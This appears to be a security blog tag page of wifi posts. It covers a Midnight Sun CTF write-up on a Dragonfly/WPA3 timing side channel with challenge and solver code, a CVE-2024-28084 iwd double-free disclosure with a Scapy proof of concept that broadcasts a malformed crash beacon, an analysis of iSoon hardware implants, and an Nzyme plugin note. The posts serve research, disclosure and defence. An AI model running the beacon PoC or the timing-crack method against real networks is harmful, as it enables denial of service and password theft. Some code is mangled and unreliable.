Skip to main content

4 posts tagged with "wifi"

View All Tags

· 7 min read

Midnight Sun Qualifiers 2024

Over the weekend a ctf team I help with, HackingForSoju, hosted the Midnight Sun CTF Qualifiers. The finals will take place in Stockholm, Sweden on June 14-16.

I put together a challenge around WPA3's Password Authenticated Key Exchange: Dragonfly

WPA3 has quite a few notes during our our wifi training where we discuss the background to the protocol, because it was so very worrisome from the start.


A Troubled PAKE

In 2013, when Dan Harkins first proposed Dragonfly many people pointed out that it was inferior to existing PAKEs. Arguably it did not steer clear of existing patents, its performance was quite bad, and very objectively it suffered terribly from sidechannels. It does not take great skill to spot them.

There's an IETF thread thread sums it up here. Trevor Perrin, who is behind the Double Ratchet in Signal designed with Moxie Marlinspike, sums up what cryptographers saw.

In response, Dan Harkins goes on the offensive with personal attacks, saying several things of this nature:

> It makes little sense to use a 1024-bit FFC group in any circumstances
> because (pardon me, Kevin) - fuck the NSA.

That certainly is a fashionable pose to strike these days!

But I brought up binding a 1024-bit FFC to a password because that's
what an RFC with your name on it does. So it makes sense to replace
"the NSA" in your sentence with "Trevor Perrin".

-- Dan Harkins

When the designer of a security algorithm finds it acceptable to behave this way, and the decision makers rubber stamp their actions, we should probably take a step back as a society and ask if irrational people should be the ones solving and creating the math problems that our security relies on.

So when the WiFi consortium used Dragonfly for WPA3 in 2018, many people were actually surprised, since they assumed Dragonfly would never make its way into widespread usage.


As WPA3 entered the ecosystem, security experts started looking. In 2019 the world's leading wifi security expert, Mathy Vanhoef, with Eyal Ronen, demolished Dragonfly Many of the attacks were the same as initially outlined by Trevor Perrin as well as many other cryptographers in 2013.

The team also invented some novel mechanisms to attack Brainpool curves in particular. They proved that the hardening attempts with computing random values would provide statistical anomalies detectable by calculating timing variance.

What's even worse, under EAP-PWD (dragonfly with enterprise wifi), they found that implementaitons also accepted invalid curves, bypassing the password altogether.

Hardening was added to eliminate the remaining sidechannels.

The CTF Challenge

The qualifier's challenge celebrates these timing failures. Players had to remotely exploit a python implementation of Dragonfly that had the initial hardening only (always running 40 rounds).

The key insight is that the KDF for dragonfly is malleable based on the client's MAC address. Providing different MAC addresses creates unique timing signatures for a given AP MAC address and Password Shared Key.

The timing signature can then be compared offline against a password list to find the real password. With a vulnerable implementation this timing sidechannel is actually a lot more effective to exploit than cracking WPA2 keys which are protected with PBKDF2.

The easiest timing differences to exploit are that lines [2] and [3] only happen sometimes.

def initiate(self, other_mac, k=40):
See algorithm in
in section 3.2.1
self.other_mac = other_mac
found = 0
num_valid_points = 0
counter = 1
n = self.p.bit_length()

# Find x
while counter <= k:
base = self.compute_hashed_password(counter)
temp = self.key_derivation_function(n, base, b'Dragonfly Hunting And Pecking')
if temp >= self.p:
counter = counter + 1 [1]
seed = temp
val = self.curve.secure_curve_equation(seed) [2]
if self.curve.secure_is_quadratic_residue(val): [3]
if num_valid_points < 5:
x = seed
save = base
found = 1
num_valid_points += 1
logger.debug('Got point after {} iterations'.format(counter))

counter = counter + 1

if found == 0:
logger.error('No valid point found after {} iterations'.format(k))
return False
elif found == 1:
y = tonelli_shanks(self.curve.curve_equation(x), self.p)

PE = Point(x, y)

# check valid point
assert self.curve.curve_equation(x) == pow(y, 2, self.p)

self.PE = PE
assert self.curve.valid(self.PE)
return True

To expand the timing window, so that players from around the world can exploit this remotely over TCP, many more multiplications were added through a "masking" operation where random values are computed alongside the real one at random, raising their cost to hundreds of milliseconds.

def secure_curve_equation(self, x):
Do not leak hamming weights to power analysis
idx = secrets.randbelow(self.dN)
defense = self.defense_masks + []
defense[idx] = x
for i in range(self.dN):
tmp = defense[idx]
defense[i] = self.curve_equation(defense[idx])
return defense[idx]

def secure_is_quadratic_residue(self, x):
Do not leak hamming weights to power analysis
idx = secrets.randbelow(self.dN)
defense = self.defense_masks + []
defense[idx] = x
for i in range(self.dN):
defense[i] = self.is_quadratic_residue(defense[i])
return defense[idx]

In practice this is good enough for several teams to attack the service simultaneously.

To effectively precompute passwords, an attacker can create an offline dictionary that only hashes and skips the large number math.

def initiate(self, other_mac, k=40):
self.other_mac = other_mac
counter = 1
counter2 = 1
n = self.p.bit_length()

# Find x
while counter <= k:
base = self.compute_hashed_password(counter)
temp = self.key_derivation_function(n, base, b'Dragonfly Hunting And Pecking')
if temp >= self.p:
counter = counter + 1
counter2 += 1
counter = counter + 1
return counter2

The provided challenge also had a terrible way to convert a binary number which really slowed things down, and also had an off by one error probably.

# Convert returned_bits to the non-negative integer c (see Appendix C.2.1).
C = 0
for i in range(n):
if int(binary_repr[i]) == 1:
C += pow(2, n-i)


X = int(binary_repr, 2)<<1

My solution normalized the remote timings to compare them with the offline compute.

def normalize_array(arr):
"""Normalize an array to be between 0 and 1."""
return (arr - arr.min()) / (arr.max() - arr.min())

def calc_mse(psk, timings, guess_timings):
y_actual = normalize_array(np.array(timings))
y_predicted = normalize_array(np.array(guess_timings))
mse = np.mean((y_actual - y_predicted) ** 2)
return mse

def solve_psk_fast(ap_mac, my_macs, timings):
computed = open("compute.txt","rb").readlines()
psk = None
best_mse = 100
for line in computed:
p, tmp = line.split(b"|")
p = p.strip().decode()
guess_timings = json.loads(tmp.strip())
mse = calc_mse(p, timings, guess_timings)
if mse < best_mse:
print("new best",mse,p)
best_mse = mse
psk = p
return psk

During the CTF the services were overwhelmed by naive solutions, so we ended up scaling it up, but it was a little bit frustrating for some teams at times. In the future we'll have to put remote timing attempts behind a queue and/or proof of work.

To make the challenge harder, teams were also given a second variant with a larger keyspace. Instead of 60k wordlist, they were asked to attack a random 36-alphabet 5 character password. 7 teams solved it. Hats off to the great work, since you understood something Dan Harkins pretended not to when it was explained to him by so many cryptographers.

If you'd like to learn more about these attacks, the Dragonblood paper is the one you'll want.

The up to date constant time implementation of the password element deriviation in hostapd is located here:

· 3 min read

CVE-2024-28084 Patched in Inet Wireless Daemon 2.16

While preparing some wifi security training, we found a double free vulnerability affecting APs and Stations running iwd. This issue was reported and patched with fixes available starting in version 2.16.

Supernetworks & Memory Safety

Writing secure native code is not simple nor easy. With SPR we're striving to build a project that's secure by default with memory safety throughout the stack. We're continuing to develop a softmac-based solution to eliminate protocol parsing using native code in firmware, drivers and userland. If you're interested in joining this effort let us know.

We also offer WiFi & Network Security training spanning from Digital Signals Processing to Cryptography to Protocol and Coding safety covering enterprise wifi and WPA2/3. If you're interested get in touch at [email protected]

A Double Free With Less Than 30 Bytes

The issue can be triggered remotely by sending a malformed Information Element inside of a beacon, a probe request, or a probe response. These are unauthenticated frames that a malicious attacker with physical proximity can send remotely.

The double free happens while parsing a P2P Information Elements (IEs) with a malformed ADVERTISED_SVC_INFO attribute. In the context of the flaw, remote double frees are especially powerful as they can lead to information leaks to help bypass ASLR and other hardening measures.

Technical details are below.

Code Overview

Under p2p_parse_probe_resp(), the ADVERTISED_SVC_INFO attribute is captured.

	r = p2p_parse_attrs(pdu, len,
REQUIRED(P2P_CAPABILITY, &d.capability),
OPTIONAL(NOTICE_OF_ABSENCE, &d.notice_of_absence),
REQUIRED(P2P_DEVICE_INFO, &d.device_info),
OPTIONAL(P2P_GROUP_INFO, &d.group_clients),
OPTIONAL(ADVERTISED_SVC_INFO, &d.advertised_svcs),

if (r >= 0)
memcpy(out, &d, sizeof(d));
p2p_clear_probe_resp(&d); [1]

return r;

While parsing this attribute in extract_p2p_advertised_service_info(), errors in processing will result in the queue pointer allocated at [3] to be released [4]:

static bool extract_p2p_advertised_service_info(const uint8_t *attr, size_t len,
void *data)
struct l_queue **out = data;

while (len) {
struct p2p_advertised_service_descriptor *desc;
int name_len;

if (len < 7)
goto error;

name_len = attr[6];
if (len < 7u + name_len)
goto error;

if (!l_utf8_validate((const char *) attr + 7, name_len, NULL))
goto error;

if (!*out)
*out = l_queue_new(); [3]

l_queue_destroy(*out, p2p_clear_advertised_service_descriptor); [4]

However when the parent function finishes, p2p_clear_probe_resp() will also free [2] the advertised_svcs data structures.

void p2p_clear_probe_resp(struct p2p_probe_resp *data)
p2p_clear_advertised_service_info_attr(&data->advertised_svcs); [2]

Scapy POC

CVE-2024-28084 beacon double free vulnerability due to error handling in extract_p2p_advertised_service_info
import sys
import os
from scapy.layers.dot11 import *
from scapy.arch import str2mac, get_if_raw_hwaddr
from time import time, sleep

def if_hwaddr(iff):
return str2mac(get_if_raw_hwaddr(iff)[1])

def config_mon(iface, channel):
"""set the interface in monitor mode and then change channel using iw"""
os.system("ip link set dev %s down" % iface)
os.system("iw dev %s set type monitor" % iface)
os.system("ip link set dev %s up" % iface)
os.system("iw dev %s set channel %d" % (iface, channel))

class AP:
def __init__(self, mac=None, mode="stdio", iface="wlan0", channel=1): = channel
self.iface = iface
self.mode = mode
if self.mode == "iface":
if not mac:
mac = if_hwaddr(iface)
config_mon(iface, channel)
if not mac:
raise Exception("Need a mac")
self.mac = mac

def get_radiotap_header(self):
return RadioTap()

def dot11_beacon(self, bssid):
crash=b"\xdd\x07" + b"\x50\x6f\x9a" + b"\x09" + b"\x19\x08\x00" + b"\xdd\x10" + b"\x50\x6f\x9a" + b"\x09" +b"\x00\x00" + b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
evil_packet = (
/ Dot11(
subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2=bssid, addr3=bssid
/ Dot11Beacon(cap=0x3101)
/ crash

def run(self):
self.interval = 0.05
while True:
# Sleep

def sendp(self, packet, verbose=False):
if self.mode == "stdio":
x =
sys.stdout.buffer.write(struct.pack("<L", len(x)) + x)
assert self.mode == "iface"
sendp(packet, iface=self.iface, verbose=False)

if __name__ == "__main__":
ap = AP(mode="iface", iface="wlan1", channel=1)

· 3 min read

The I Soon Dump

"The documents come from iSoon, also known as Auxun, a Chinese firm headquartered in Shanghai that sells third-party hacking and data-gathering services to Chinese government bureaus, security groups and state-owned enterprises. "

The Washington Post writes that "The documents show that iSoon met and worked with members of APT41, a Chinese hacking group that was charged by the U.S. Justice Department in 2020 for targeting more than 100 video game firms, universities and other victims worldwide."

WiFi Capability: Hardware Implants

The dump has a product catalogue that starting from page 18, describes hardware implants for persistent access to target environments. These implants are used for accessing a victim network without having to evade outbound proxies or firewalls, where security monitoring might take place. So they can attack the squishy inside directly.

They communicate to targets over WiFi and exfiltrate over 3G/4G.


  • They are small, portable, and have 3G/4G internet connectivity
  • They can be powered or run on a 10A battery that lasts 8-20 hours depending on activity
  • They can be embedded into a decoy power bank or other device

WiFi Attack System

Attackers can also connect into the sensors over 4G connectivity and then attack the environment over WiFi. It has standard capabilities one finds in tools like Kali Linux.


  • WEP/WPS/WPA/WPA2 cracking
  • Cracking can also be done via a more powerful cloud system
  • Once on a network the device can inspect packets for hashes
  • Once on a network the device can brute force login credentials for routers
  • The device can proxy traffic to the local network


  • The device can self destruct

What's Not in The Dump

What we don't see a cache of ready to go router exploits, patched or unpatched, as well as software/firmware capabilities for unpatched IOT devices which are soft targets on wifi.

Closing Thoughts on Detection

  • Nothing in the documents hits on masquerading implants by MAC address. A good asset inventory might go a long way when the device joins the network
  • Tools like Nzyme can help detect WiFi Cracking attempts as well as detect rogue APs in the environment. SPR supports nzyme taps
  • Building a baseline of WiFi APs would be the best way a defender can detect a WiFi Implant entering the environment
  • Defenders need internal network sensors as well as sensors on the outbound network
  • A zero-trust network setup would help mitigate this type of implant reaching an asset's networked resources, but would still leave client devices vulnerable to Rogue AP attacks unless they employ zero-trust principles for WiFi connectivity (like EAP-TLS/EAP-TTLS or per-device WPA3 personal passwords)

· One min read

Nzyme lets people monitor their wifi networks with sensors that collect wifi data (as well as network traffic).

It can detect common wifi attack tools and tactics like deauths for getting WPA2 handshakes to crack, rogue APs, and more.

We've put together a plugin that can run alongside the SPR AP without affecting the channels, by creating a monitor interface. While this won't be able to detect Rogue APs, it can detect some anomalous activity.

The plugin is available at